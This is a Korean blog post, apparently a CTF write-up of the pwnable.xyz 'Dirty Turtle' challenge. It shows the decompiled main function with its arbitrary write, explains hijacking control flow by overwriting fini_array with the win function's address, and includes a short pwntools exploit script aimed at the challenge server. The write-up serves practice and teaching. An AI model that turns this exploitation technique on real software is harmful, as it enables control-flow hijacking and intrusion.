tmxklab

[Pwnable.xyz] Dirty Turtle 본문

War Game/Pwnable.xyz

[Pwnable.xyz] Dirty Turtle

tmxk4221 2020. 9. 9. 22:30

1. 문제

nc svc.pwnable.xyz 30033

 

1) mitigation 확인

 

2) 문제 확인

  • 어떤 임의의 주소와 값을 입력으로 받고 있다.

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *s; // [rsp+0h] [rbp-10h]
  __int64 v5; // [rsp+8h] [rbp-8h]

  setup(argc, argv, envp);
  puts("Dirty Turtle Off-RoadS");
  printf("Addr: ");
  s = (char *)get_val();
  printf("Value: ");
  v5 = get_val();
  if ( v5 )
    *(_QWORD *)s = v5;
  else
    puts(s);
  return 0;
}
  • 주소에 대한 입력을 s변수에 받고 값을 v5변수에 받는다.
  • 어떤 임의의 주소에 어떤 값을 넣고 끝난다.

 


2. 접근방법

 

내가 원하는 주소에 값을 쓸 수 있다. got overwrite가 가능한 부분이지만 값을 쓰고 바로 메인 함수가 종료되버린다.

fini_array에 win함수를 Overwrite하여 문제 해결

 

 


3. 풀이

1) fini_array

  • fini_array = 0x600bc0

 

2) 익스코드

from pwn import *

#context.log_level = "debug"

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30033)

p.sendafter("Addr: ", hex(0x600bc0))
p.sendafter("Value: ", hex(0x400821))

p.interactive()

 

3) 실행결과

 


4. 몰랐던 개념

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] notebook  (0) 2020.09.09
[Pwnable.xyz] nin  (0) 2020.09.09
[Pwnable.xyz] Hero Factory  (0) 2020.09.09
[Pwnable.xyz] note v2  (0) 2020.09.09
[Pwnable.xyz] executioner v2  (0) 2020.09.09
Comments